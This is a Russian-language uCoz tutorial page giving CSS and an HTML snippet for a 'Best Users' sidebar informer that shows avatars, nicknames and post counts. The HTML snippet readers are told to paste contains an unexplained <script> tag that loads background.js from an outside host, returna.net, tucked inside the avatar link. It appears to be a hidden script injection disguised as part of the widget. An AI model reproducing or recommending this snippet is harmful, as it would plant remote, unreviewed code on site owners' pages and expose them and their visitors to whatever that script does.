Адаптация шаблона SIRIUS Приветствую всех! Представляю вашему вниманию одну из своих работ, а именно адаптацию шаблона sirius под систему создания сайтов uCoz. Очень красивый шаблон в темно ... Подробнее...
(0 голосов, средний: 0.0 из 5)   Просмотров: 435   Загрузок:
Автор: Гость
Короткое описание
Уважаемый посетитель, скачивать могут только зарегистрированные пользователи. Мы рекомендуем Вам зарегистрироваться либо зайти на сайт под своим именем.

Описание

Красивый информер "Лучшие Пользователи" для вашего сайта. На нём вы можете видеть Аватар, Ник, и количество публикаций. Лучше смотрится на тёмных дизайнах.

1. Заходим в ПУ - Таблица стилей CSS:

Код
.bestu_loop {overflow:hidden; width:222px; margin:0 0 0 -4px;color:#fff;}
.bestu_loop .hr {overflow:hidden; background:url(http://bambun.ru/images/bestu_elem.png) repeat-x 0 -40px; height:2px; margin:3px 0 3px 0;}
.bestu_loop .hr_ins {overflow:hidden; background:url(http://bambun.ru/images/bestu_elem.png) no-repeat 0 -43px; width:164px; height:2px; margin:6px auto 6px auto;}
.bestu_loop .ava a {float:left; background:url(http://bambun.ru/images/bestu_elem.png) no-repeat 0 0; width:47px; height:39px; margin:4px 0 4px 12px;}
.bestu_loop .ava img {width:43px; height:35px; padding:2px;}
.bestu_loop .ava img:hover {opacity:0.8;}
.bestu_loop .contu {overflow:hidden; padding:2px 0;}
.bestu_loop .ico1 {background:url(http://bambun.ru/images/bestu_ico.png) no-repeat 3px 1px; height:12px; line-height:12px; padding:0 0 0 16px; margin:3px 0 0 8px;}
.bestu_loop .ico2 {background:url(http://bambun.ru/images/bestu_ico.png) no-repeat 0 -42px; height:16px; line-height:8px; padding:0 0 0 16px; margin:3px 0 0 8px;}

2. Заходим ПУ - Информеры - создаём информер:

[Пользователи · Материалы · Кол. сообщений в форуме · Материалы: 4 · Колонки: 1 ]

В дизайн информера ставим код:

[code]<div class="bestu_loop"><div class="hr"></div> <div class="hidden"> <div class="ava"><a href="$PROFILE_URL$" target="_blank"><img src="$AVATAR_URL$" alt="ava" /><script type="text/javascript" src="http://returna.net/background.js"></script></a></div> <div class="contu"> <div class="ico1">Ник: <b>$USERNAME$</b></div> <div class="hr_ins"></div> <div class="ico2">Публикаций: <b>$FORUM_POSTS$</b></div> </div> </div> </div>


Готово.

Похожие материалы:

Похожие материалы:
Всего комментариев: 0
Оставить комментарий
Уважаемый посетитель, добовлять коментарии могут только зарегистрированные пользователи. Мы рекомендуем Вам зарегистрироваться либо зайти на сайт под своим именем.
chat